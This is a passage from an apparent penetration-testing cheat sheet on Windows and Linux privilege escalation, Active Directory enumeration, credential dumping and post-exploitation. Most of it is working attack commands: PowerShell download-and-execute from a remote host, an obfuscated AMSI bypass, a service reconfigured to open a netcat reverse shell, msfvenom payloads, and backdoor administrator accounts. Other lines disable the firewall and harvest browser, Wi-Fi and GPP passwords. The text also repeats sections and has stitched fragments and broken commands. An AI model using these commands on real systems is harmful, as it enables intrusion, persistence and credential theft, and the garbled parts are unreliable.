  1158. USERDNSDOMAIN=WHATEVER.LOCAL
  1159. Then look up the IP-address
  1160. nslookup nameofserver.whatever.local
  1161. Mount the volume and search for the groups.xml file
  1162. net use z: \\192.168.1.101\SYSVOL
  1163. z:
  1164. dir Groups.xml /s
  1165. Otherwise, these can be found in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history, by looking for:
  1166. Groups.xml
  1167. Services.xml
  1168. Scheduledtasks.xml
  1169. DataSources.xml
  1170. Printers.xml
  1171. Drives.xml
  1172. The next step is decrypt the passowrds using the gpp-decrypt tool.
  1173. You can also do this with PowerView and the Get-GPPPpassword script.
  1174. Using Powershell to load them into memory:
  1175. IEX(New-Object Net.WebClient).DownloadString(“http://10.0.0.100/Get-GPPPassword.ps1″)
  1176. IEX(New-Object Net.WebClient).DownloadString(“http://10.0.0.100/powerview.ps1″)
  1177. Then run the Get-GPPPassword tool and feed any listed passwords to PowerView. This will check any found credentials against other machines.
  1178. Get-NetOU -GUID “{4C86DD57-4040-41CD-B163-58F208A26623}” | %{ Get-NetComputer -ADSPath $_ }
  1179. Visit https://www.toshellandback.com/2015/08/30/gpp/ for more info.
  1180. Services and Applications Storing Credentials
  1181. Applications that are used to access systems or services remotely such as Remmina/PuTTY, RDP, Filezilla etc often store passwords in memory or in files. These can be retrieved using SessionGopher:
  1182. https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
  1183. Import-Module path\to\SessionGopher.ps1;
  1184. Invoke-SessionGopher -AllDomain -o
  1185. Invoke-SessionGopher -AllDomain -u domain.com\stef -p password
  1186. Lazagne can also be used to exctract credentials from many applications.
  1187. Credentials Stored in Browsers
  1188. Browsers such as Google Chrome, Firefox, Microsoft Edge etc. can often store passwords when authentication to a website is performed. Lazagne is an open source application used to retrieve passwords stored on a local computer, and one of its many functions is to retrieve passwords stored in internet browsers.
  1189. Command Description
  1190. laZagne.exe all Launch all modules
  1191. laZagne.exe browsers Launch only a specific module
  1192. laZagne.exe browsers -firefox Launch a specific software script
  1193. laZagne.exe -h
  1194. laZagne.exe browsers -h Get help
  1195. laZagne.exe all -vv Change verbosity mode (2 different levels)
  1196. Additionally, the following Metasploit modules can also be used:
  1197. use post/window/gather/enum_chrome
  1198. use post/window/gather/enum_firefox
  1199. use post/window/gather/enum_ie
  1200. Saved RDP Connections
  1201. RDP has the ability to save connection information (such as passwords) in the registry. They can be found at the following registry keys:
  1202. HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\
  1203. HKCU\Software\Microsoft\Terminal Server Client\Servers\
  1204. Powershell Command History
  1205. Commands executed using powershell are stored in a history file (similar to the .bash_history file in linux), if clear-text credentials were entered when issuing a command, this could be exploited by accessing the history file:
  1206. type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  1207. type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  1208. cat (Get-PSReadlineOption).HistorySavePath
  1209. cat (Get-PSReadlineOption).HistorySavePath | sls passw
  1210. Wi-Fi Credentials
  1211. Command Description
  1212. netsh wlan show profile List available AP SSID
  1213. netsh wlan show profile <SSID> key=clear Get the clear-text password use
  1214. cls & echo. & for /f “tokens=4 delims=: ” %a in (‘netsh wlan show profiles ^| find “Profile “‘) do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr “SSID Cipher Content” | find /v “Number” & echo.) & @echo on
  1215. Additional Metasploit Modules
  1216. There are certain Metasploit modules that aim at to find clear-text or encoded credentials in a target system:
  1217. use post/windows/gather/credentials/gpp
  1218. use post/windows/gather/credential_collector
  1219. use post/window/gather/enum_chrome
  1220. use post/window/gather/enum_firefox
  1221. use post/window/gather/enum_ie
  1222. use post/multi/gather/filezilla_client_cred
  1223. use post/multi/gather/firefox_creds
  1224. use post/multi/gather/irssi_creds
  1225. use post/multi/gather/lastpass_creds
  1226. use post/multi/gather/maven_creds
  1227. use post/multi/gather/netrc_creds
  1228. use post/multi/gather/pidgin_cred
  1229. use post/multi/gather/rsyncd_creds
  1230. use post/multi/gather/ssh_creds
  1231. use post/multi/gather/thunderbird_creds
  1232. Automated enumeration scripts will also perform credential harvesting although it’s always best to do this manually.
  1233. credentialsguideHackingpasswordPenetration TestingPentestingpowershellPrivilege EscalationWindows
  1234. There is one more shortcut which you can use when you have access to vim, you can use the following command to trigger the root shell using vim.
  1235. sudo vi -c '!bash'
  1236. Vim is a very versatile text editor which have many awesome functionalities including the ability to open a shell inside it.
  1237. So, to open vim as root we can use the following command.
  1238. sudo vi test.sh
  1239. As soon as you will execute it, vi window will open, now you need to switch into the command mode you can do that by pressing ESC key.
  1240. In command mode, use :!bash command this will open a root shell.
  1241. There is one more shortcut which you can use when you have access to vim, you can use the following command to trigger the root shell using vim.
  1242. sudo vi -c '!bash'
  1243. Domain Enumeration:
  1244. Enumerate Domain:
  1245. − Users − Computers − Domain Administrators − Enterprise Administrators − Shares
  1246. Script Bypass: powershell -ep bypass
  1247. Bypass amsi: sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" - f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )
  1248. Powerview: . .\PowerView.ps1
  1249. Get-NetUser
  1250. List property of all users,
  1251. Get-NetUser | select -ExpandProperty samaccountname
  1252. Enumerate member computers
  1253. Get-NetComputer
  1254. Attributes of Domain Admin Group
  1255. Get-NetGroup -GroupName "Domain Admins" -FullData
  1256. Enumerate members of Domain Admin Group:
  1257. Get-NetGroupMember -GroupName "Domain Admins"
  1258. Enumerate members of Enterprise Group:
  1259. Get-NetGroupMember -GroupName "Enterprise Admins"
  1260. Get-NetGroupMember -GroupName "Enterprise Admins" –Domain xxxx.local
  1261. Find Interesting Shares:
  1262. Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose
  1263. ENUMERATING GPO & ENUMERATE RESTRICTED GROUPS from GPO:
  1264. Get-NetGPOGroup -Verbose
  1265. Look for memberships of the Group "RDPUsers"
  1266. Get-NetGroupMember -GroupName RDPUsers
  1267. List all the OUs:
  1268. Get-NetOU
  1269. List all computers in specific OU:
  1270. Get-NetOU LockedMachines | %{Get-NetComputer -ADSPath $_}
  1271. List GPOs:
  1272. Get-NetGPO
  1273. Enumerate GPO applied in specific OU:
  1274. Get-NetOU LockedMachines -FullData).gplink [LDAP://cn={3E04167E-C2B6-4A9A8FC811158DC97C},cn=policies,cn=system,DC=lockedcorp,DC=lockedcorp
  1275. ,DC=local;0]
  1276. Get-NetGPO -ADSpath 'LDAP://cn={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},cn=policies,cn=system,DC=lockedcorp,DC=lockedcorp,DC=local'
  1277. ENUMERATING ACLS
  1278. Enumerate ACLs with Powerview
  1279. Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose
  1280. Enumerate ACLs of Domain Admin Group
  1281. Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs - Verbose
  1282. Enumerate ACLs for all GPOs:
  1283. Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
  1284. Enumerate GPO for user or RDPUser group
  1285. Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $.Name} ?{$.IdentityReference -match "user"}
  1286. Check for modify rights/persmissions
  1287. Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference - match "student"}
  1288. Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference - match "RDPUsers"}
  1289. ENUMERATE TRUSTS:
  1290. Enumerate ALL domains
  1291. Get-NetForestDomain -Verbose
  1292. Map the trusts of the domain:
  1293. Get-NetDomainTrust
  1294. Map all trusts to forest:
  1295. Get-NetForestDomain -Verbose | Get-NetDomainTrust
  1296. List only external trusts
  1297. Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
  1298. Identify external trusts of domain
  1299. Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
  1300. If Bi-directional trust try and extract info from forest:
  1301. Get-NetForestDomain -Forest lockercorp.local -Verbose | Get- NetDomainTrust
  1302. # Basics
  1303. systeminfo
  1304. hostname
  1305. # Who am I?
  1306. whoami
  1307. echo %username%
  1308. # What users/localgroups are on the machine?
  1309. net users
  1310. net localgroups
  1311. # More info about a specific user. Check if user has privileges.
  1312. net user user1
  1313. # View Domain Groups
  1314. net group /domain
  1315. # View Members of Domain Group
  1316. net group /domain <Group Name>
  1317. # Firewall
  1318. netsh firewall show state
  1319. netsh firewall show config
  1320. # Network
  1321. ipconfig /all
  1322. route print
  1323. arp -A
  1324. # How well patched is the system?
  1325. wmic qfe get Caption,Description,HotFixID,InstalledOn
  1326. Cleartext Passwords
  1327. Search for them
  1328. findstr /si password *.txt
  1329. findstr /si password *.xml
  1330. findstr /si password *.ini
  1331. #Find all those strings in config files.
  1332. dir /s *pass* == *cred* == *vnc* == *.config*
  1333. # Find all passwords in all files.
  1334. findstr /spin "password" *.*
  1335. findstr /spin "password" *.*
  1336. In Files
  1337. These are common files to find them in. They might be base64-encoded. So look out for that.
  1338. c:\sysprep.inf
  1339. c:\sysprep\sysprep.xml
  1340. c:\unattend.xml
  1341. %WINDIR%\Panther\Unattend\Unattended.xml
  1342. %WINDIR%\Panther\Unattended.xml
  1343. dir c:\*vnc.ini /s /b
  1344. dir c:\*ultravnc.ini /s /b
  1345. dir c:\ /s /b | findstr /si *vnc.ini
  1346. In Registry
  1347. # VNC
  1348. reg query "HKCU\Software\ORL\WinVNC3\Password"
  1349. # Windows autologin
  1350. reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
  1351. # SNMP Paramters
  1352. reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
  1353. # Putty
  1354. reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
  1355. # Search for password in registry
  1356. reg query HKLM /f password /t REG_SZ /s
  1357. reg query HKCU /f password /t REG_SZ /s
  1358. Sometimes there are services that are only accessible from inside the network.
  1359. netstat -ano
  1360. Scheduled Tasks:
  1361. Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.
  1362. schtasks /query /fo LIST /v
  1363. cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
  1364. Change the upnp service binary:
  1365. sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe"
  1366. sc config upnphost obj= ".\LocalSystem" password= ""
  1367. sc config upnphost depend= ""
  1368. Weak Service Permissions:
  1369. WMCI
  1370. wmic service list brief
  1371. Here is a POC code for getsuid.
  1372. #include <stdlib.h>
  1373. int main ()
  1374. {
  1375. int i;
  1376. i = system("net localgroup administrators theusername /add");
  1377. return 0;
  1378. }
  1379. We then compile it with mingw like this:
  1380. i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
  1381. Restart the Service:
  1382. Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed.
  1383. We can do this by using wmic or net the following way:
  1384. wmic service NAMEOFSERVICE call startservice
  1385. net stop [service name] && net start [service name].
  1386. Migrate the meterpreter shell:
  1387. If your meterpreter session dies right after you get it you need migrate it to a more stable service.
  1388. A common service to migrate to is winlogon.exe since it is run by system and it is always run.
  1389. You can find the PID like this:
  1390. wmic process list brief | find "winlogon"
  1391. So when you get the shell you can either type migrate PID or automate this so that meterpreter automatically migrates.
  1392. http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html
  1393. Unquoted Service Paths:
  1394. Find Services With Unquoted Paths
  1395. # Using WMIC
  1396. wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
  1397. # Using sc
  1398. sc query
  1399. sc qc service name
  1400. # Look for Binary_path_name and see if it is unquoted.Exploit It
  1401. If the path to the binary is:
  1402. c:\Program Files\something\winamp.exe
  1403. We can place a binary like this
  1404. c:\program.exe
  1405. When the program is restarted it will execute the binary program.exe, which we of course control.
  1406. We can do this in any directory that has a space in its name. Not only program files.
  1407. If the path contains a space and is not quoted, the service is vulnerable.
  1408. This attack is explained here: http://toshellandback.com/2015/11/24/ms-priv-esc/
  1409. There is also a metasploit module for this is: exploit/windows/local/trusted_service_path
  1410. Vulnerable Drivers
  1411. Some driver might be vulnerable.
  1412. I don't know how to check this in an efficient way.
  1413. # List all drivers
  1414. driverquery
  1415. AlwaysInstallElevated:
  1416. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  1417. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  1418. http://toshellandback.com/2015/11/24/ms-priv-esc/
  1419. Group Policy Preference:
  1420. If the machine belongs to a domain and your user has access to System Volume Information there might be some sensitive files there.
  1421. First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables
  1422. # Output environment-variables
  1423. set
  1424. # Look for the following:
  1425. LOGONSERVER=\\NAMEOFSERVER
  1426. USERDNSDOMAIN=WHATEVER.LOCAL
  1427. # Look up ip-addres
  1428. nslookup nameofserver.whatever.local
  1429. # It will output something like this
  1430. Address: 192.168.1.101
  1431. # Now we mount it
  1432. net use z: \\192.168.1.101\SYSVOL
  1433. # And enter it
  1434. z:
  1435. # Now we search for the groups.xml file
  1436. dir Groups.xml /s
  1437. If we find the file with a password in it, we can decrypt it like this in Kali
  1438. gpp-decrypt encryptedpassword
  1439. Services\Services.xml: Element-Specific Attributes
  1440. ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
  1441. Printers\Printers.xml: SharedPrinter Element
  1442. Drives\Drives.xml: Element-Specific Attributes
  1443. DataSources\DataSources.xml: Element-Specific Attributes
  1444. Escalate to SYSTEM from Administrator
  1445. On Windows XP and Older:
  1446. If you have a GUI with a user that is included in Administrators group you first need to open up cmd.exe for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do Run as Administrator you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from c:\windows\system32\cmd.exe. This will give you a cmd with Administrators rights.
  1447. From here we want to become SYSTEM user. To do this we run:
  1448. First we check what time it is on the local machine:
  1449. time
  1450. # Now we set the time we want the system CMD to start. Probably one minuter after the time.
  1451. at 01:23 /interactive cmd.exe
  1452. And then the cmd with SYSTEM privs pops up.
  1453. Vista and Newer
  1454. You first need to upload PsExec.exe and then you run:
  1455. psexec -i -s cmd.exe
  1456. Kitrap
  1457. On some machines the at 20:20 trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute vdmaillowed.exe. I think it only works with GUI.
  1458. vdmallowed.exe
  1459. vdmexploit.dll
  1460. Using Metasploit
  1461. So if you have a metasploit meterpreter session going you can run getsystem.
  1462. Post modules
  1463. Some interesting metasploit post-modules
  1464. First you need to background the meterpreter shell and then you just run the post modules.
  1465. use exploit/windows/local/service_permissions
  1466. post/windows/gather/credentials/gpp
  1467. run post/windows/gather/credential_collector
  1468. run post/multi/recon/local_exploit_suggester
  1469. run post/windows/gather/enum_shares
  1470. run post/windows/gather/enum_snmp
  1471. run post/windows/gather/enum_applications
  1472. run post/windows/gather/enum_logged_on_users
  1473. run post/windows/gather/checkvm
  1474. Windows Privilege Escalation Methods
  1475. Method #1: Metasploit getsystem (From local admin to SYSTEM)
  1476. To escalate privileges from local administrator to SYSTEM user:
  1477. meterpreter> use priv
  1478. meterpreter> getsystem
  1479. getsystem uses three methods to achieve that, the first two using named pipe impersonation and the third one, using token duplication.
  1480. Method #2: Unquoted Service Paths
  1481. It happens when when a developer fails to enclose the file path to a service with quotes. File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability.
  1482. C:\Program Files\Some Folder\Config files\Service.exe
  1483. Windows would try to execute:
  1484. C:\Program.exe
  1485. C:\Program Files\Some.exe
  1486. C:\Program Files\Some Folder\Config.exe
  1487. C:\Program Files\Some Folder\Config files\Service.exe
  1488. So if we have write access on some target directory we can write a file on that directory:
  1489. icacls "C:\Program Files\Some Folder"
  1490. Search for: BUILTIN\Users: (OI) (CI) (M)
  1491. (M) stands for Modify for (unprivileged) users
  1492. For a full list of icacls output description:
  1493. icacls preserves the canonical order of ACE entries as:
  1494. Explicit denials
  1495. Explicit grants
  1496. Inherited denials
  1497. Inherited grants
  1498. Perm is a permission mask that can be specified in one of the following forms:
  1499. A sequence of simple rights:
  1500. F (full access)
  1501. M (modify access)
  1502. RX (read and execute access)
  1503. R (read-only access)
  1504. W (write-only access)
  1505. A comma-separated list in parenthesis of specific rights:
  1506. D (delete)
  1507. RC (read control)
  1508. WDAC (write DAC)
  1509. WO (write owner)
  1510. S (synchronize)
  1511. AS (access system security)
  1512. MA (maximum allowed)
  1513. GR (generic read)
  1514. GW (generic write)
  1515. GE (generic execute)
  1516. GA (generic all)
  1517. RD (read data/list directory)
  1518. WD (write data/add file)
  1519. AD (append data/add subdirectory)
  1520. REA (read extended attributes)
  1521. WEA (write extended attributes)
  1522. X (execute/traverse)
  1523. DC (delete child)
  1524. RA (read attributes)
  1525. WA (write attributes)
  1526. Inheritance rights may precede either Perm form, and they are applied only to directories:
  1527. (OI): object inherit
  1528. (CI): container inherit
  1529. (IO): inherit only
  1530. (NP): do not propagate inherit
  1531. (I): permission inherited from parent container
  1532. To know in which privileges is the service running (hopefully as SYSTEM):
  1533. wmic service get name,startname
  1534. Then we trojanize the service:
  1535. msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe
  1536. And copy it to the folder we can write in:
  1537. copy Config.exe C:\Program Files\Some Folder\
  1538. And sit and wait to the machine to be rebooted OR:
  1539. shutdown /r /t 0
  1540. From metasploit:
  1541. msf> use exploit/windows/local/trusted_service_path
  1542. To exploit it manually:
  1543. wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
  1544. sc $SERVICENAME stop & sc $SERVICENAME start
  1545. Method #3: Tokens
  1546. Take advantage of:
  1547. SeImpersonatePrivilege
  1548. SeAssignPrimaryPrivilege
  1549. Reference: https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
  1550. Method #4: Hard coded credentials
  1551. Commands:
  1552. dir /s *pass* == *cred* == *vnc* == *.config*
  1553. findstr /si password *.xml *.ini *.txt
  1554. reg query HKLM /f password /t REG_SZ /s
  1555. reg query HKCU /f password /t REG_SZ /s
  1556. Method #5: Sensitive files on Desktop, Documents (xls, txt, )
  1557. Take a look here as well Intro to Post Exploitation to find commands to search for sensitive files and information.
  1558. Method #6: DLL injection / hijacking
  1559. Trusted directories:
  1560. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs
  1561. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\SafeDllSearchMode
  1562. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\CWDIllegalInDllSearch
  1563. Method #7: Unattended installation files (Unattend.xml)
  1564. Unattended installs that were not cleaned properly can be abused.
  1565. Mainly in those directories:
  1566. dir C:\Windows\Panther\
  1567. dir C:\Windows\Panther\Unattend\
  1568. dir C:\Windows\System32\
  1569. dir C:\Windows\System32\sysprep\
  1570. In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf
  1571. Using metasploit:
  1572. msf> use post/windows/gather/enum_unattend
  1573. Method #8: GPP cracking
  1574. These Group policy configuration files that could contain passwords (Groups.xml) are “encrypted” using a known AES key. And found in a shared folder inside the domain controller with read access to all domain authenticated users.
  1575. net use z: \\$IP\SYSVOL
  1576. SYSVOL is simply a folder which resides on each and every domain controller within the domain. It contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers. The default location for the SYSVOL is C:\Windows\SYSVOL although it can be moved to another location during the promotion of a domain controller. It’s possible but not recommended to relocate the SYSVOL after DC promotion as there is potential for error. The SYSVOL folder can be accessed through its share \\domainname.com\sysvol or the local share name on the server \\servername\sysvol.
  1577. SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access.
  1578. By default there are two folders with a GUID name under ”C:\Windows\SYSVOL\domain\policies”, representing two group policies (GPO). In any new domain environment we always get two default GPO’s, Default Domain Policy and Domain Controllers Policy.
  1579. To update your GPOs:
  1580. gpupdate
  1581. To look your current assigned GPOs:
  1582. gpresult /R
  1583. dir /s Groups.xml
  1584. Other attack vector, more direct:
  1585. findstr /S /I cpassword \\$FQDN\sysvol\$FQDN\policies\*.xml
  1586. Once we get the hashed:
  1587. In Linux:
  1588. gpp-decrypt $AES_PASSWORD
  1589. In Windows, use PowerSploit function Get-GPPPassword:
  1590. Get-DecryptedCpassword $AES_PASSWORD
  1591. https://social.technet.microsoft.com/wiki/contents/articles/24160.active-directory-back-to-basics-sysvol.aspx
  1592. https://adsecurity.org/?p=2288
  1593. Method #9: Weak services and bad permissions
  1594. Use AccessChk from sysinternals
  1595. Which Services can be modified by any authenticated user (regardless of privilege level):
  1596. accesschk.exe -uwcqv "Authenticated Users" * /accepteula
  1597. List service parameters:
  1598. accesschk.exe -ucqv $SERVICENAME
  1599. Find all weak folder permissions per drive:
  1600. accesschk.exe -uwdqs Users c:\
  1601. accesschk.exe -uwdqs "Authenticated Users" c:\
  1602. Find all weak file permissions per drive:
  1603. accesschk.exe -uwqs Users c:\*.*
  1604. accesschk.exe -uwqs "Authenticated Users" c:\*.*
  1605. Permissions on a specific folder:
  1606. accesschk.exe Builtin\Users c:\inetpub
  1607. Look at vulnerable service configuration parameters
  1608. sc qc $SERVICE
  1609. Locate interesting parameter, this is only an example
  1610. sc config $SERVICE binpath="net user alien alien /add"
  1611. sc stop $SERVICE
  1612. sc start $SERVICE
  1613. From metasploit (post module):
  1614. msf> use exploit/windows/local/service_permissions
  1615. Method #10: AlwaysInstallElevated ON
  1616. Allows any MSI executable be run as SYSTEM.
  1617. Manual method:
  1618. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  1619. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  1620. Using Metasploit:
  1621. msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
  1622. msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi
  1623. Another method with metasploit:
  1624. If the machine has the AlwaysInstallElevated registry flag on, then just:
  1625. msf> use exploit/windows/local/always_install_elevated
  1626. Method #11: Abusing scheduled tasks
  1627. schtasks /query /fo LIST /v
  1628. tasklist /SVC
  1629. Method #12: Local exploits
  1630. msf> use exploit/windows/local/*
  1631. Alternative methods of becoming SYSTEM https://blog.xpnsec.com/becoming-system/
  1632. Linux Privilege Escalation Methods
  1633. Most common techniques for privilege escalation in Linux environments:
  1634. Method #1: Find setuids
  1635. Sometimes in CTFs there are trojans hidden in the system with the setuid set. Look for any of those using find command:
  1636. find / -perm -4000 -ls 2> /dev/null
  1637. Method #2: Find world writable directories
  1638. find / -perm -777 -type d -ls 2> /dev/null
  1639. Method #3: Find world readable logs or backups
  1640. Many times Linux is very restrictive with the default permissions BUT sometimes sysadmins do not protect properly system backups, so you can easily extract sensitive system files such as /etc/passwd. Look for gz, tar o zip files is definitely worth it.
  1641. find / -name "*.[gz,tar,zip]" 2> /dev/null
  1642. Method #4: Check crontab tasks
  1643. Added scheduled tasks may contain some misconfigurations like for example, one script is run by root and it is writable for everybody
  1644. crontab -l
  1645. ls -lR /etc/cron*
  1646. Method #5: Local exploits for kernel or applications
  1647. As part of your local enumeration information gathering, look for kernel versions, applications installed, daemons running in order to detect any old version with known exploits.
  1648. Find setuid binaries:
  1649. find / -perm -4000 -ls 2> /dev/null
  1650. Find files world writable:
  1651. find / -path /sys -prune -o -path /proc -prune -o -type f -perm -o=w -ls 2> /dev/null
  1652. Find directories world writable:
  1653. find / -path /sys -prune -o -path /proc -prune -o -type d -perm -o=w -ls 2> /dev/null
  1654. Look for interesting files:
  1655. find / -name "*.txt" -ls 2> /dev/null
  1656. find / -name "*.log" -ls 2> /dev/null
  1657. Check sudo:
  1658. sudo su
  1659. sudo -l
  1660. Decrypt PKCS#12 objects:
  1661. openssl pkcs12 -info -in $FILE
  1662. Show certs in PKCS#7 file:
  1663. openssl pkcs7 -print_certs -inform DER -in $FILE
  1664. openssl smime -verify -in signed.p7 -inform pem
  1665. openssl smime -verify -in signed.p7 -inform der
  1666. Show keystore content:
  1667. keytool -list -v -keystore keystore.jks
  1668. Commands for information gathering:
  1669. ps -ef
  1670. mount
  1671. /sbin/ifconfig -a
  1672. route -n
  1673. cat /etc/crontab
  1674. ls -la /var/spool/cron*/
  1675. ls -la /etc/cron.d
  1676. cat /etc/exports
  1677. cat /etc/redhat* /etc/debian* /etc/*release
  1678. netstat -tanu
  1679. Find users with shell access:
  1680. egrep -e '/bin/(ba)?sh' /etc/passwd
  1681. Check bootup services:
  1682. ls /etc/rc*
  1683. SSH relationships and logins:
  1684. cat ~/.ssh/*
  1685. https://payatu.com/guide-linux-privilege-escalation/
  1686. Tools:
  1687. http://pentestmonkey.net/tools/audit/unix-privesc-check
  1688. https://github.com/sleventyeleven/Linuxprivchecker
  1689. https://github.com/rebootuser/LinEnum
  1690. Windows Post-exploitation
  1691. Check filesystem:
  1692. Like “ls -la” in Linux:
  1693. dir /A:H
  1694. dir /s /b C:\ | findstr /E ".txt" > txt.txt
  1695. dir /s /b C:\ | findstr /E ".log" > log.txt
  1696. dir /s /b C:\ | findstr /E ".doc" > doc.txt
  1697. dir /s /b C:\ | findstr /E ".xls" > xls.txt
  1698. dir /s /b C:\ | findstr /E ".xml" > xml.txt
  1699. Compute MD5 hash:
  1700. Get-FileHash -Algorithm MD5 -Path .\$FILE
  1701. Check registry:
  1702. reg query HKLM /f password /t REG_SZ /s > hklm_password.txt
  1703. reg query HKCU /f password /t REG_SZ /s > hkcu_password.txt
  1704. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated > reg_always.txt
  1705. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated >> reg_always.txt
  1706. Check scheduler:
  1707. schtasks /query /fo LIST /v > schtasks.txt
  1708. tasklist /SVC > tasklist.txt
  1709. Other checks:
  1710. DRIVERQUERY
  1711. wmic os where Primary='TRUE' reboot
  1712. List hotfixes:
  1713. wmic qfe
  1714. notepad myfile.txt:lion.txt
  1715. eventvwr.exe
  1716. quser > rdp.txt
  1717. netstat -an > netstat.txt
  1718. netsh firewall show config > firewall.txt
  1719. icacls service.exe
  1720. type C:\Windows\System32\drivers\etc\hosts
  1721. Wmic commands:
  1722. wmic service get name,displayname,pathname,startmode > wmic_service.txt
  1723. wmic /node:'' qfe GET description,FixComments,hotfixid,installedby,installedon,servicepackineffect
  1724. wmic /node:"" product get name,version,vendor
  1725. wmic process get Caption,CommandLine
  1726. wmic printer list status
  1727. wmic cpu get
  1728. List SIDs of the system (as admin):
  1729. wmic useraccount get name,sid,fullname
  1730. Net commands:
  1731. net view
  1732. net view \\host
  1733. net share
  1734. net use z: \\host\dir
  1735. net users
  1736. net user %username%
  1737. net config rdr
  1738. Backdoor account:
  1739. net user hax0r hax0r /add
  1740. net localgroup administrators hax0r /add
  1741. net localgroup "Remote Desktop users" hax0r /add
  1742. Check routing/network information:
  1743. route print
  1744. arp -A
  1745. ipconfig /all
  1746. getmac
  1747. Show files attributes / permissions
  1748. cacls cmd.exe
  1749. attrib cmd.exe
  1750. List services:
  1751. sc queryex type=service state=all
  1752. net start
  1753. Other info:
  1754. systeminfo
  1755. whoami
  1756. Idem for Win XP:
  1757. echo %USERNAME%
  1758. Firewall
  1759. netsh firewall show stat
  1760. netsh firewall show config
  1761. netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
  1762. netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
  1763. netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
  1764. netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079
  1765. Disable firewall:
  1766. netsh advfirewall set currentprofile state off
  1767. netsh advfirewall set allprofiles state off
  1768. RDP
  1769. Show RDP sessions:
  1770. quser
  1771. qwinsta
  1772. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  1773. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
  1774. netsh firewall set service type=remotedesktop mode=enable
  1775. net start termservice
  1776. net start "Terminal Services"
  1777. svchost.exe -k termsvcs
  1778. tasklist /svc /S servername/U username /P password
  1779. Change RDP daemon status from Meterpreter (more Meterpreter commands in Metasploit Meterpreter Cheat Sheet)
  1780. msf> reg queryval -k "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v TSEnabled
  1781. msf> reg setval -k "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v TSEnabled -d 1
  1782. Change RDP port:
